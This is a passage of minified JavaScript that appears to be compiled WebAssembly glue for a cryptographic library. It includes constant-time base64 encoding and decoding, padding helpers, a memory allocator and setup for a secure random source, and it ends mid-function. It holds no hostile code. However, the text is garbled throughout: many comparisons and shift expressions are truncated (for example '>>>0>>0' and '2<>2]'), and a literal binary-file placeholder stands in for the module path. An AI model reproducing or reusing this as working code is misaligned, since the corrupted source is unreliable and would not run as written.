i}for(;;){if(!(255&((f=(65526+(u=(223&(g=c[r+h|0]))-55&255)^u+65520)>>>8|0)|(I=65526+(d=48^g)>>>8|0)))){if(!At(A,g))break t;if((h=h+1|0)>>>0>>0)continue;break s}break}if(e>>>0<=p>>>0)break o;g=u&f|d&I}C=g<<4,l=0;break i}h=n>>>0>l>>>0?n:l;break t}l=0;break A}if(l^=-1,g=1,!((h=h+1|0)>>>0>>0))break}break n}a[9005]=68,g=0}if(!(255&l))break e}a[9005]=28,y=-1,h=h-1|0,p=0;break t}g||(p=0,y=-1)}return o?a[o>>2]=r+h:(0|n)!=(0|h)&&(a[9005]=28,y=-1),i&&(a[i>>2]=p),0|y},hc:function(t,e){t|=0;var r=0;return 1!=(-7&(e|=0))&&(Kt(),i()),1+((3&(r=(r=t)+g(t=(t>>>0)/3|0,-3)|0)?2&e?r+1|0:4:0)+(t<<2)|0)|0},ic:function(t,e,r,n,A){t|=0,e|=0,r|=0,n|=0;var o=0,a=0,h=0,u=0,l=0,p=0,d=0,I=0,y=0,C=0;t:{e:{r:{n:{A:{i:{o:{if(1==(-7&(A|=0))&&(l=(a=(n>>>0)/3|0)<<2,(a=g(a,-3)+n|0)&&(l=2&A?(2|l)+(a>>>1|0)|0:l+4|0),!(e>>>0<=l>>>0))){if(!(4&A)){if(!n){A=0;break n}A=0;break o}if(!n){A=0;break n}for(A=0;;){for(d=(I=c[r+p|0])|d<<8,a=A,A=1+((((u|=8)-6>>>0)/6|0)+A|0)|0;y=65510+(h=d>>>(u=(o=u)-6|0)&63)>>>8|0,C=h+65484>>>8|0,s[t+a|0]=~(1+(16321^h))>>>8&45|h+252&h+65474>>>8&~C|~(h+32705)>>>8&95|y&h+65|C&h+71&~y,(0|(a=a+1|0))!=(0|A););if((0|(p=p+1|0))==(0|n))break}if(!u)break A;a=(n=65510+(o=I<<12-o&63)>>>8|0)&o+65,u=o+252&o+65474>>>8&~(r=o+65484>>>8|0),n=r&o+71&~n,p=o+32705|0,d=95,r=~(1+(16321^o))>>>8&45;break i}Kt(),i()}for(;;){for(d=(I=c[r+p|0])|d<<8,a=A,A=1+((((u|=8)-6>>>0)/6|0)+A|0)|0;y=65510+(h=d>>>(u=(o=u)-6|0)&63)>>>8|0,C=h+65484>>>8|0,s[t+a|0]=~(1+(16321^h))>>>8&43|h+252&h+65474>>>8&~C|~(h+16321)>>>8&47|y&h+65|C&h+71&~y,(0|(a=a+1|0))!=(0|A););if((0|(p=p+1|0))==(0|n))break}if(!u)break A;a=(n=65510+(o=I<<12-o&63)>>>8|0)&o+65,u=o+252&o+65474>>>8&~(r=o+65484>>>8|0),n=r&o+71&~n,p=o+16321|0,d=47,r=~(1+(16321^o))>>>8&43}s[t+A|0]=r|~p>>>8&d|a|u|n,A=A+1|0}if(A>>>0>l>>>0)break r}if(A>>>0>>0)break e;l=A;break t}f(1048,1126,231,1319),i()}xt(t+A|0,61,l-A|0)}return xt(t+l|0,0,(e>>>0>(r=l+1|0)>>>0?e:r)-l|0),0|t},jc:function(t,e,r,n,A,o,h,g){t|=0,e|=0,r|=0,n|=0,A|=0,o|=0,h|=0;var u=0,l=0,f=0,p=0,d=0,I=0,y=0,C=0;t:{e:{r:{n:{A:{i:{o:{s:{a:{c:{h:{if(1==(-7&(g|=0))){if(f=0,!n)break s;if(4&g)break h;for(;;){f=l;g:{u:{l:{f:{for(;;){if(u=(u=(p=s[r+f|0])-65|0)&(~(90-p)&~u)>>>8&255|p+4&(~(p+65488)&~(57-p))>>>8&255|p+185&(~(p+65439)&~(122-p))>>>8&255|~(1+(16336^p))>>>8&63|~(1+(16340^p))>>>8&62,255!=(0|(u|=(u-1&1+(65470^p))>>>8&255)))break f;if(u=0,!A)break a;if(!At(A,p))break;if((f=f+1|0)>>>0>=n>>>0)break l}l=f;break a}if(y=u+(y<<6)|0,d>>>0>1)break u;d=d+6|0;break g}l=(t=l+1|0)>>>0>>0?n:t;break a}if(d=d-2|0,e>>>0<=I>>>0)break c;s[t+I|0]=y>>>d,I=I+1|0}if(u=0,!((l=f+1|0)>>>0>>0))break}break a}Kt(),i()}h:for(;;){for(f=l;;){g:{if(u=(u=(p=s[r+f|0])-65|0)&(~(90-p)&~u)>>>8&255|p+4&(~(p+65488)&~(57-p))>>>8&255|p+185&(~(p+65439)&~(122-p))>>>8&255|~(1+(16288^p))>>>8&63|~(1+(16338^p))>>>8&62,255==(0|(u|=(u-1&1+(65470^p))>>>8&255))){if(u=0,!A)break a;if(At(A,p))break g;l=f;break a}if(y=u+(y<<6)|0,d>>>0<2)d=d+6|0;else{if(d=d-2|0,e>>>0<=I>>>0)break c;s[t+I|0]=y>>>d,I=I+1|0}if(u=0,(l=f+1|0)>>>0>>0)continue h;break a}if(!((f=f+1|0)>>>0>>0))break}break}l=(t=l+1|0)>>>0>>0?n:t;break a}l=f,a[9005]=68,u=1}if(d>>>0>4)break o;f=l}if(t=f,e=-1,u){l=t;break t}if(~(-1<>>0<2){g=t;break A}if(l=t>>>0>n>>>0?t:n,f=d>>>1|0,!A)break i;for(g=t;;){if((0|g)==(0|l)){u=68;break n}if(61!=(0|(t=s[r+g|0]))){if(!At(A,t)){u=28,l=g;break n}}else f=f-1|0;if(g=g+1|0,!f)break}break A}e=-1;break t}if(u=68,t>>>0>=n>>>0)break n;if(61!=c[t+r|0]){l=t,u=28;break n}if(g=t+f|0,1!=(0|f)){if((0|(d=t+1|0))==(0|l))break n;if(61!=c[r+d|0]){l=d,u=28;break n}if(2!=(0|f)){if((0|(t=t+2|0))==(0|l))break n;if(u=28,l=t,61!=c[t+r|0])break n}}}if(e=0,A)break r;break e}a[9005]=u;break t}if(!(n>>>0<=g>>>0)){for(;;){if(!At(A,s[r+g|0]))break e;if((0|(g=g+1|0))==(0|n))break}g=n}}l=g,C=I}return h?a[h>>2]=r+l:(0|n)!=(0|l)&&(a[9005]=28,e=-1),o&&(a[o>>2]=C),0|e},kc:function(){var t=0;return a[9136]?t=1:(Ot(),vt(36528,16),a[9136]=1,t=0),0|t},lc:function(t,e,r,n,A){t|=0,e|=0,r|=0,A|=0;var o,h=0,g=0,u=0;I=o=I-16|0;t:{if(n|=0){if((h=n-1|0)&n?(g=~r,h=h-((r>>>0)%(n>>>0)|0)|0):h&=g=~r,g>>>0<=h>>>0)break t;if(g=-1,!((r=r+h|0)>>>0>=A>>>0))for(t&&(a[t>>2]=r+1),t=e+r|0,g=0,s[o+15|0]=0,r=0;A=e=t-r|0,u=c[0|e]&c[o+15|0],e=(r^h)-1>>>24|0,s[0|A]=u|128&e,s[o+15|0]=e|c[o+15|0],(0|n)!=(0|(r=r+1|0)););}else g=-1;return I=o+16|0,0|g}Kt(),i()},mc:function(t,e,r,n){t|=0,e|=0,r|=0,n|=0;var A,i=0,o=0,s=0,h=0,g=0;if(a[12+(A=I-16|0)>>2]=0,n-1>>>0>>0){for(g=(i=r-1|0)+e|0,r=0,e=0;h=((128^(o=c[g-r|0]))-1&a[A+12>>2]-1&s-1)>>>8&1,a[A+12>>2]=a[A+12>>2]|0-h&r,e|=h,s|=o,(0|n)!=(0|(r=r+1|0)););a[t>>2]=i-a[A+12>>2],t=(255&e)-1|0}else t=-1;return 0|t},nc:function(){return 1312},oc:function(){return 26},pc:le,qc:le,rc:function(t){var e,r=0,n=0,A=0,i=0,o=0,s=0,g=0,l=0,f=0,p=0,d=0,y=0;I=e=I-16|0;t:{e:{r:{n:{A:{i:{o:{s:{a:{c:{h:{g:{u:{l:{if((t|=0)>>>0<=244){if(3&(r=(s=a[9006])>>>(n=(g=t>>>0<11?16:t+11&-8)>>>3|0)|0)){r=36064+(t=(n=n+(1&~r)|0)<<3)|0,A=a[t+36072>>2],(0|r)!=(0|(t=a[A+8>>2]))?(a[t+12>>2]=r,a[r+8>>2]=t):(d=36024,y=Gt(-2,n)&s,a[d>>2]=y),t=A+8|0,r=n<<3,a[A+4>>2]=3|r,a[4+(r=r+A|0)>>2]=1|a[r+4>>2];break t}if((p=a[9008])>>>0>=g>>>0)break l;if(r){r=36064+(t=(A=qt((0-(t=2<>2],(0|r)!=(0|(t=a[i+8>>2]))?(a[t+12>>2]=r,a[r+8>>2]=t):(s=Gt(-2,A)&s,a[9006]=s),a[i+4>>2]=3|g,A=(t=A<<3)-g|0,a[4+(n=i+g|0)>>2]=1|A,a[t+i>>2]=A,p&&(r=36064+(-8&p)|0,o=a[9011],(t=1<<(p>>>3))&s?t=a[r+8>>2]:(a[9006]=t|s,t=r),a[r+8>>2]=o,a[t+12>>2]=o,a[o+12>>2]=r,a[o+8>>2]=t),t=i+8|0,a[9011]=n,a[9008]=A;break t}if(!(f=a[9007]))break l;for(n=a[36328+(qt(f)<<2)>>2],o=(-8&a[n+4>>2])-g|0,r=n;(t=a[r+16>>2])||(t=a[r+20>>2]);)o=(A=(r=(-8&a[t+4>>2])-g|0)>>>0>>0)?r:o,n=A?t:n,r=t;if(l=a[n+24>>2],(0|(A=a[n+12>>2]))!=(0|n)){t=a[n+8>>2],a[t+12>>2]=A,a[A+8>>2]=t;break e}if(!(t=a[(r=n+20|0)>>2])){if(!(t=a[n+16>>2]))break u;r=n+16|0}for(;i=r,A=t,(t=a[(r=t+20|0)>>2])||(r=A+16|0,t=a[A+16>>2]););a[i>>2]=0;break e}if(g=-1,!(t>>>0>4294967231)&&(g=-8&(t=t+11|0),f=a[9007])){o=0-g|0,s=0,g>>>0<256||(s=31,g>>>0>16777215||(s=62+((g>>>38-(t=u(t>>>8|0))&1)-(t<<1)|0)|0));f:{p:{if(r=a[36328+(s<<2)>>2])for(t=0,n=g<<(31!=(0|s)?25-(s>>>1|0):0);;){if(!((i=(-8&a[r+4>>2])-g|0)>>>0>=o>>>0||(A=r,o=i,i))){o=0,t=r;break p}if(i=a[r+20>>2],r=a[16+((n>>>29&4)+r|0)>>2],t=i?(0|i)==(0|r)?t:i:t,n<<=1,!r)break}else t=0;if(!(t|A)){if(A=0,!(t=(0-(t=2<>2]}if(!t)break f}for(;o=(n=(r=(-8&a[t+4>>2])-g|0)>>>0>>0)?r:o,A=n?t:A,t=(r=a[t+16>>2])||a[t+20>>2];);}if(!(!A|a[9008]-g>>>0<=o>>>0)){if(s=a[A+24>>2],(0|A)!=(0|(n=a[A+12>>2]))){t=a[A+8>>2],a[t+12>>2]=n,a[n+8>>2]=t;break r}if(!(t=a[(r=A+20|0)>>2])){if(!(t=a[A+16>>2]))break g;r=A+16|0}for(;i=r,n=t,(t=a[(r=t+20|0)>>2])||(r=n+16|0,t=a[n+16>>2]););a[i>>2]=0;break r}}}if((t=a[9008])>>>0>=g>>>0){A=a[9011],(r=t-g|0)>>>0>=16?(a[4+(n=A+g|0)>>2]=1|r,a[t+A>>2]=r,a[A+4>>2]=3|g):(a[A+4>>2]=3|t,a[4+(t=t+A|0)>>2]=1|a[t+4>>2],n=0,r=0),a[9008]=r,a[9011]=n,t=A+8|0;break t}if((l=a[9009])>>>0>g>>>0){r=l-g|0,a[9009]=r,t=(n=a[9012])+g|0,a[9012]=t,a[t+4>>2]=1|r,a[n+4>>2]=3|g,t=n+8|0;break t}if(t=0,f=g+47|0,a[9124]?n=a[9126]:(a[9127]=-1,a[9128]=-1,a[9125]=4096,a[9126]=4096,a[9124]=e+12&-16^1431655768,a[9129]=0,a[9117]=0,n=4096),(r=(i=f+n|0)&(o=0-n|0))>>>0<=g>>>0)break t;if((A=a[9116])&&A>>>0<(s=(n=a[9114])+r|0)>>>0|n>>>0>=s>>>0)break t;l:{if(!(4&c[36468])){f:{p:{d:{I:{if(A=a[9012])for(t=36472;;){if((n=a[t>>2])>>>0<=A>>>0&A>>>0>2]>>>0)break I;if(!(t=a[t+8>>2]))break}if(-1==(0|(n=Qt(0))))break f;if(s=r,(t=(A=a[9125])-1|0)&n&&(s=(r-n|0)+(t+n&0-A)|0),s>>>0<=g>>>0)break f;if((A=a[9116])&&A>>>0<(o=(t=a[9114])+s|0)>>>0|t>>>0>=o>>>0)break f;if((0|n)!=(0|(t=Qt(s))))break d;break l}if((0|(n=Qt(s=o&i-l)))==(a[t>>2]+a[t+4>>2]|0))break p;t=n}if(-1==(0|t))break f;if(g+48>>>0<=s>>>0){n=t;break l}if(-1==(0|Qt(n=(n=a[9126])+(f-s|0)&0-n)))break f;s=n+s|0,n=t;break l}if(-1!=(0|n))break l}a[9117]=4|a[9117]}if(-1==(0|(n=Qt(r)))|-1==(0|(t=Qt(0)))|t>>>0<=n>>>0)break a;if((s=t-n|0)>>>0<=g+40>>>0)break a}t=a[9114]+s|0,a[9114]=t,t>>>0>h[9115]&&(a[9115]=t);l:{if(i=a[9012]){for(t=36472;;){if(((A=a[t>>2])+(r=a[t+4>>2])|0)==(0|n))break l;if(!(t=a[t+8>>2]))break}break h}for((t=a[9010])>>>0<=n>>>0&&t||(a[9010]=n),t=0,a[9119]=s,a[9118]=n,a[9014]=-1,a[9015]=a[9124],a[9121]=0;r=36064+(A=t<<3)|0,a[A+36072>>2]=r,a[A+36076>>2]=r,32!=(0|(t=t+1|0)););r=(A=s-40|0)-(t=-8-n&7)|0,a[9009]=r,t=t+n|0,a[9012]=t,a[t+4>>2]=1|r,a[4+(n+A|0)>>2]=40,a[9013]=a[9128];break c}if(8&a[t+12>>2]|n>>>0<=i>>>0|A>>>0>i>>>0)break h;a[t+4>>2]=r+s,n=(t=-8-i&7)+i|0,a[9012]=n,t=(r=a[9009]+s|0)-t|0,a[9009]=t,a[n+4>>2]=1|t,a[4+(r+i|0)>>2]=40,a[9013]=a[9128];break c}A=0;break e}n=0;break r}h[9010]>n>>>0&&(a[9010]=n),r=n+s|0,t=36472;h:{g:{u:{for(;;){if((0|r)!=a[t>>2]){if(t=a[t+8>>2])continue;break u}break}if(!(8&c[t+12|0]))break g}for(t=36472;;){if((r=a[t>>2])>>>0<=i>>>0&&(o=r+a[t+4>>2]|0)>>>0>i>>>0)break h;t=a[t+8>>2]}}if(a[t>>2]=n,a[t+4>>2]=a[t+4>>2]+s,a[4+(f=(-8-n&7)+n|0)>>2]=3|g,t=(s=r+(-8-r&7)|0)-(l=g+f|0)|0,(0|i)==(0|s)){a[9012]=l,t=a[9009]+t|0,a[9009]=t,a[l+4>>2]=1|t;break n}if(a[9011]==(0|s)){a[9011]=l,t=a[9008]+t|0,a[9008]=t,a[l+4>>2]=1|t,a[t+l>>2]=t;break n}if(1!=(3&(o=a[s+4>>2])))break A;if(i=-8&o,o>>>0<=255){if((0|(n=a[s+12>>2]))==(0|(r=a[s+8>>2]))){d=36024,y=a[9006]&Gt(-2,o>>>3|0),a[d>>2]=y;break i}a[r+12>>2]=n,a[n+8>>2]=r;break i}if(g=a[s+24>>2],(0|s)!=(0|(n=a[s+12>>2]))){r=a[s+8>>2],a[r+12>>2]=n,a[n+8>>2]=r;break o}if(!(o=a[(r=s+20|0)>>2])){if(!(o=a[s+16>>2]))break s;r=s+16|0}for(;A=r,(o=a[(r=(n=o)+20|0)>>2])||(r=n+16|0,o=a[n+16>>2]););a[A>>2]=0;break o}for(r=(A=s-40|0)-(t=-8-n&7)|0,a[9009]=r,t=t+n|0,a[9012]=t,a[t+4>>2]=1|r,a[4+(n+A|0)>>2]=40,a[9013]=a[9128],a[(A=(t=(o+(39-o&7)|0)-47|0)>>>0>>0?i:t)+4>>2]=27,t=a[9121],a[A+16>>2]=a[9120],a[A+20>>2]=t,t=a[9119],a[A+8>>2]=a[9118],a[A+12>>2]=t,a[9120]=A+8,a[9119]=s,a[9118]=n,a[9121]=0,t=A+24|0;a[t+4>>2]=7,r=t+8|0,t=t+4|0,r>>>0>>0;);if((0|A)!=(0|i))if(a[A+4>>2]=-2&a[A+4>>2],o=A-i|0,a[i+4>>2]=1|o,a[A>>2]=o,o>>>0<=255)r=36064+(-8&o)|0,(n=a[9006])&(t=1<<(o>>>3))?t=a[r+8>>2]:(a[9006]=t|n,t=r),a[r+8>>2]=i,a[t+12>>2]=i,a[i+12>>2]=r,a[i+8>>2]=t;else{t=31,o>>>0<=16777215&&(t=62+((o>>>38-(t=u(o>>>8|0))&1)-(t<<1)|0)|0),a[i+28>>2]=t,a[i+16>>2]=0,a[i+20>>2]=0,r=36328+(t<<2)|0;h:{if((A=a[9007])&(n=1<>>1|0):0),A=a[r>>2];;){if((0|o)==(-8&a[(r=A)+4>>2]))break h;if(n=t>>>29|0,t<<=1,!(A=a[16+(n=(4&n)+r|0)>>2]))break}a[n+16>>2]=i}else a[9007]=n|A,a[r>>2]=i;a[i+24>>2]=r,a[i+12>>2]=i,a[i+8>>2]=i;break c}t=a[r+8>>2],a[t+12>>2]=i,a[r+8>>2]=i,a[i+24>>2]=0,a[i+12>>2]=r,a[i+8>>2]=t}}if(!((t=a[9009])>>>0<=g>>>0)){r=t-g|0,a[9009]=r,t=(n=a[9012])+g|0,a[9012]=t,a[t+4>>2]=1|r,a[n+4>>2]=3|g,t=n+8|0;break t}}a[9005]=48,t=0;break t}n=0}if(g){A=a[s+28>>2];o:{if(a[(r=36328+(A<<2)|0)>>2]==(0|s)){if(a[r>>2]=n,n)break o;d=36028,y=a[9007]&Gt(-2,A),a[d>>2]=y;break i}if(a[g+(a[g+16>>2]==(0|s)?16:20)>>2]=n,!n)break i}a[n+24>>2]=g,(r=a[s+16>>2])&&(a[n+16>>2]=r,a[r+24>>2]=n),(r=a[s+20>>2])&&(a[n+20>>2]=r,a[r+24>>2]=n)}}t=t+i|0,o=a[4+(s=i+s|0)>>2]}if(a[s+4>>2]=-2&o,a[l+4>>2]=1|t,a[t+l>>2]=t,t>>>0<=255)r=36064+(-8&t)|0,(n=a[9006])&(t=1<<(t>>>3))?t=a[r+8>>2]:(a[9006]=t|n,t=r),a[r+8>>2]=l,a[t+12>>2]=l,a[l+12>>2]=r,a[l+8>>2]=t;else{o=31,t>>>0<=16777215&&(o=62+((t>>>38-(r=u(t>>>8|0))&1)-(r<<1)|0)|0),a[l+28>>2]=o,a[l+16>>2]=0,a[l+20>>2]=0,r=36328+(o<<2)|0;A:{if((A=a[9007])&(n=1<>>1|0):0),n=a[r>>2];;){if(r=n,(-8&a[n+4>>2])==(0|t))break A;if(A=o>>>29|0,o<<=1,!(n=a[16+(A=(4&A)+n|0)>>2]))break}a[A+16>>2]=l}else a[9007]=n|A,a[r>>2]=l;a[l+24>>2]=r,a[l+12>>2]=l,a[l+8>>2]=l;break n}t=a[r+8>>2],a[t+12>>2]=l,a[r+8>>2]=l,a[l+24>>2]=0,a[l+12>>2]=r,a[l+8>>2]=t}}t=f+8|0;break t}r:if(s){r=a[A+28>>2];n:{if(a[(t=36328+(r<<2)|0)>>2]==(0|A)){if(a[t>>2]=n,n)break n;f=Gt(-2,r)&f,a[9007]=f;break r}if(a[s+(a[s+16>>2]==(0|A)?16:20)>>2]=n,!n)break r}a[n+24>>2]=s,(t=a[A+16>>2])&&(a[n+16>>2]=t,a[t+24>>2]=n),(t=a[A+20>>2])&&(a[n+20>>2]=t,a[t+24>>2]=n)}r:if(o>>>0<=15)t=o+g|0,a[A+4>>2]=3|t,a[4+(t=t+A|0)>>2]=1|a[t+4>>2];else if(a[A+4>>2]=3|g,a[4+(i=A+g|0)>>2]=1|o,a[i+o>>2]=o,o>>>0<=255)r=36064+(-8&o)|0,(n=a[9006])&(t=1<<(o>>>3))?t=a[r+8>>2]:(a[9006]=t|n,t=r),a[r+8>>2]=i,a[t+12>>2]=i,a[i+12>>2]=r,a[i+8>>2]=t;else{t=31,o>>>0<=16777215&&(t=62+((o>>>38-(t=u(o>>>8|0))&1)-(t<<1)|0)|0),a[i+28>>2]=t,a[i+16>>2]=0,a[i+20>>2]=0,r=36328+(t<<2)|0;n:{if((n=1<>>1|0):0),g=a[r>>2];;){if((-8&a[(r=g)+4>>2])==(0|o))break n;if(n=t>>>29|0,t<<=1,!(g=a[16+(n=(4&n)+r|0)>>2]))break}a[n+16>>2]=i}else a[9007]=n|f,a[r>>2]=i;a[i+24>>2]=r,a[i+12>>2]=i,a[i+8>>2]=i;break r}t=a[r+8>>2],a[t+12>>2]=i,a[r+8>>2]=i,a[i+24>>2]=0,a[i+12>>2]=r,a[i+8>>2]=t}t=A+8|0;break t}e:if(l){r=a[n+28>>2];r:{if(a[(t=36328+(r<<2)|0)>>2]==(0|n)){if(a[t>>2]=A,A)break r;d=36028,y=Gt(-2,r)&f,a[d>>2]=y;break e}if(a[l+(a[l+16>>2]==(0|n)?16:20)>>2]=A,!A)break e}a[A+24>>2]=l,(t=a[n+16>>2])&&(a[A+16>>2]=t,a[t+24>>2]=A),(t=a[n+20>>2])&&(a[A+20>>2]=t,a[t+24>>2]=A)}o>>>0<=15?(t=o+g|0,a[n+4>>2]=3|t,a[4+(t=t+n|0)>>2]=1|a[t+4>>2]):(a[n+4>>2]=3|g,a[4+(A=n+g|0)>>2]=1|o,a[A+o>>2]=o,p&&(r=36064+(-8&p)|0,i=a[9011],(t=1<<(p>>>3))&s?t=a[r+8>>2]:(a[9006]=t|s,t=r),a[r+8>>2]=i,a[t+12>>2]=i,a[i+12>>2]=r,a[i+8>>2]=t),a[9011]=A,a[9008]=o),t=n+8|0}return I=e+16|0,0|t},sc:function(t){var e=0,r=0,n=0,A=0,i=0,o=0,s=0,c=0,g=0;t:if(t|=0){i=(n=t-8|0)+(t=-8&(e=a[t-4>>2]))|0;e:if(!(1&e)){if(!(3&e))break t;if((n=n-(e=a[n>>2])|0)>>>0>>0<=255){if(A=e>>>3|0,(0|(e=a[n+12>>2]))==(0|(r=a[n+8>>2]))){c=36024,g=a[9006]&Gt(-2,A),a[c>>2]=g;break e}a[r+12>>2]=e,a[e+8>>2]=r;break e}if(s=a[n+24>>2],(0|n)!=(0|(e=a[n+12>>2]))){r=a[n+8>>2],a[r+12>>2]=e,a[e+8>>2]=r;break r}if(!(r=a[(A=n+20|0)>>2])){if(!(r=a[n+16>>2]))break n;A=n+16|0}for(;o=A,(r=a[(A=(e=r)+20|0)>>2])||(A=e+16|0,r=a[e+16>>2]););a[o>>2]=0;break r}if(3&~(e=a[i+4>>2]))break e;return a[9008]=t,a[i+4>>2]=-2&e,a[n+4>>2]=1|t,void(a[i>>2]=t)}e=0}if(s){r=a[n+28>>2];r:{if(a[(A=36328+(r<<2)|0)>>2]==(0|n)){if(a[A>>2]=e,e)break r;c=36028,g=a[9007]&Gt(-2,r),a[c>>2]=g;break e}if(a[s+(a[s+16>>2]==(0|n)?16:20)>>2]=e,!e)break e}a[e+24>>2]=s,(r=a[n+16>>2])&&(a[e+16>>2]=r,a[r+24>>2]=e),(r=a[n+20>>2])&&(a[e+20>>2]=r,a[r+24>>2]=e)}}if(!(n>>>0>=i>>>0)&&1&(e=a[i+4>>2])){e:{r:{n:{A:{if(!(2&e)){if(a[9012]==(0|i)){if(a[9012]=n,t=a[9009]+t|0,a[9009]=t,a[n+4>>2]=1|t,a[9011]!=(0|n))break t;return a[9008]=0,void(a[9011]=0)}if(a[9011]==(0|i))return a[9011]=n,t=a[9008]+t|0,a[9008]=t,a[n+4>>2]=1|t,void(a[t+n>>2]=t);if(t=(-8&e)+t|0,e>>>0<=255){if(A=e>>>3|0,(0|(e=a[i+12>>2]))==(0|(r=a[i+8>>2]))){c=36024,g=a[9006]&Gt(-2,A),a[c>>2]=g;break r}a[r+12>>2]=e,a[e+8>>2]=r;break r}if(s=a[i+24>>2],(0|i)!=(0|(e=a[i+12>>2]))){r=a[i+8>>2],a[r+12>>2]=e,a[e+8>>2]=r;break n}if(!(r=a[(A=i+20|0)>>2])){if(!(r=a[i+16>>2]))break A;A=i+16|0}for(;o=A,(r=a[(A=(e=r)+20|0)>>2])||(A=e+16|0,r=a[e+16>>2]););a[o>>2]=0;break n}a[i+4>>2]=-2&e,a[n+4>>2]=1|t,a[t+n>>2]=t;break e}e=0}if(s){r=a[i+28>>2];n:{if(a[(A=36328+(r<<2)|0)>>2]==(0|i)){if(a[A>>2]=e,e)break n;c=36028,g=a[9007]&Gt(-2,r),a[c>>2]=g;break r}if(a[s+(a[s+16>>2]==(0|i)?16:20)>>2]=e,!e)break r}a[e+24>>2]=s,(r=a[i+16>>2])&&(a[e+16>>2]=r,a[r+24>>2]=e),(r=a[i+20>>2])&&(a[e+20>>2]=r,a[r+24>>2]=e)}}if(a[n+4>>2]=1|t,a[t+n>>2]=t,a[9011]==(0|n))return void(a[9008]=t)}if(t>>>0<=255)return e=36064+(-8&t)|0,(r=a[9006])&(t=1<<(t>>>3))?t=a[e+8>>2]:(a[9006]=t|r,t=e),a[e+8>>2]=n,a[t+12>>2]=n,a[n+12>>2]=e,void(a[n+8>>2]=t);r=31,t>>>0<=16777215&&(r=62+((t>>>38-(e=u(t>>>8|0))&1)-(e<<1)|0)|0),a[n+28>>2]=r,a[n+16>>2]=0,a[n+20>>2]=0,e=36328+(r<<2)|0;e:{r:{if((A=a[9007])&(o=1<>>1|0):0),e=a[e>>2];;){if(A=e,(-8&a[e+4>>2])==(0|t))break r;if(o=r>>>29|0,r<<=1,!(e=a[16+(o=e+(4&o)|0)>>2]))break}a[o+16>>2]=n,a[n+24>>2]=A}else a[9007]=A|o,a[e>>2]=n,a[n+24>>2]=e;a[n+12>>2]=n,a[n+8>>2]=n;break e}t=a[A+8>>2],a[t+12>>2]=n,a[A+8>>2]=n,a[n+24>>2]=0,a[n+12>>2]=A,a[n+8>>2]=t}t=a[9014]-1|0,a[9014]=t||-1}}},tc:Ie}}(t)}(e)},instantiate:function(t,e){return{then:function(r){var n=new I.Module(t);r({instance:new I.Instance(n,e)})}}},RuntimeError:Error};f=[],\"object\"!=typeof I&&x(\"no native wasm support detected\");var y,C,m,B,E,w,v,_=!1;function Q(){var t=d.buffer;o.HEAP8=y=new Int8Array(t),o.HEAP16=m=new Int16Array(t),o.HEAPU8=C=new Uint8Array(t),o.HEAPU16=new Uint16Array(t),o.HEAP32=B=new Int32Array(t),o.HEAPU32=E=new Uint32Array(t),o.HEAPF32=w=new Float32Array(t),o.HEAPF64=v=new Float64Array(t)}var b=o.INITIAL_MEMORY||16777216;b>=65536||x(\"INITIAL_MEMORY should be larger than STACK_SIZE, was \"+b+\"! (STACK_SIZE=65536)\"),d=o.wasmMemory?o.wasmMemory:new I.Memory({initial:b/65536,maximum:32768}),Q(),b=d.buffer.byteLength;var k=[],D=[],S=[],N=0,M=null;function x(t){throw o.onAbort&&o.onAbort(t),p(t=\"Aborted(\"+t+\")\"),_=!0,t+=\". Build with -sASSERTIONS for more info.\",new I.RuntimeError(t)}var F,P,R=\"data:application/octet-stream;base64,\";function U(t){return t.startsWith(R)}U(F=\"<<< WASM_BINARY_FILE >>>\")||(P=F,F=o.locateFile?o.locateFile(P,g):g+P);var G,H={35256:()=>o.getRandomValue(),35292:()=>{if(void 0===o.getRandomValue)try{var t=\"object\"==typeof window?window:self,e=void 0!==t.crypto?t.crypto:t.msCrypto,r=function(){var t=new Uint32Array(1);return e.getRandomValues(t),t[0]>>>0};r(),o.getRandomValue=r}catch(t){try{var n=require(\"crypto\"),A=function(){var t=n.randomBytes(4);return(t[0]<<24|t[1]<<16|t[2]<<8|t[3])>>>0};A(),o.getRandomValue=A}catch(t){throw\"No secure random number generator found\"}}}},L=t=>{for(;t.length>0;)t.shift()(o)},O=\"undefined\"!=typeof TextDecoder?new TextDecoder(\"utf8\"):void 0,Y=(t,e)=>t?((t,e,r)=>{for(var n=e+r,A=e;t[A]&&!(A>=n);)++A;if(A-e>16&&t.buffer&&O)return O.decode(t.subarray(e,A));for(var i=\"\";e>10,56320|1023&c)}}else i+=String.fromCharCode((31&o)<<6|s)}else i+=String.fromCharCode(o)}return i})(C,t,e):\"\",K=[],J=t=>{var e=(t-d.buffer.byteLength+65535)/65536;try{return d.grow(e),Q(),1}catch(t){}},j={c:(t,e,r,n)=>{x(`Assertion failed: ${Y(t)}, at: `+[e?Y(e):\"unknown filename\",r,n?Y(n):\"unknown function\"])},d:()=>{x(\"\")},b:(t,e,r)=>((t,e,r)=>{var n=((t,e)=>{var r;for(K.length=0;r=C[t++];)e+=105!=r&&e%8?4:0,K.push(105==r?B[e>>2]:v[e>>3]),e+=105==r?4:8;return K})(e,r);return H[t].apply(null,n)})(t,e,r),e:t=>{var e=C.length,r=2147483648;if((t>>>=0)>r)return!1;for(var n,A=1;A<=4;A*=2){var i=e*(1+.2/A);i=Math.min(i,t+100663296);var o=Math.min(r,(n=Math.max(t,i))+(65536-n%65536)%65536);if(J(o))return!0}return!1},a:d},z=function(){var t,e,r={a:j};function n(t,e){var r,n=t.exports;return(z=n).tc,r=z.f,D.unshift(r),function(t){if(N--,o.monitorRunDependencies&&o.monitorRunDependencies(N),0==N&&M){var e=M;M=null,e()}}(),n}if(N++,o.monitorRunDependencies&&o.monitorRunDependencies(N),o.instantiateWasm)try{return o.instantiateWasm(r,n)}catch(t){return p(`Module.instantiateWasm callback failed with error: ${t}`),!1}return t=r,e=function(t){n(t.instance)},function(t){return Promise.resolve().then((()=>function(t){if(t==F&&f)return new Uint8Array(f);var e=function(t){if(U(t))return function(t){if(void 0!==h&&h){var e=Buffer.from(t,\"base64\");return new Uint8Array(e.buffer,e.byteOffset,e.length)}try{for(var r=atob(t),n=new Uint8Array(r.length),A=0;AI.instantiate(e,t))).then((t=>t)).then(e,(t=>{p(`failed to asynchronously prepare wasm: ${t}`),x(t)})),{}}();function q(){function t(){G||(G=!0,o.calledRun=!0,_||(L(D),o.onRuntimeInitialized&&o.onRuntimeInitialized(),function(){if(o.postRun)for(\"function\"==typeof o.postRun&&(o.postRun=[o.postRun]);o.postRun.length;)t=o.postRun.shift(),S.unshift(t);var t;L(S)}()))}N>0||(function(){if(o.preRun)for(\"function\"==typeof 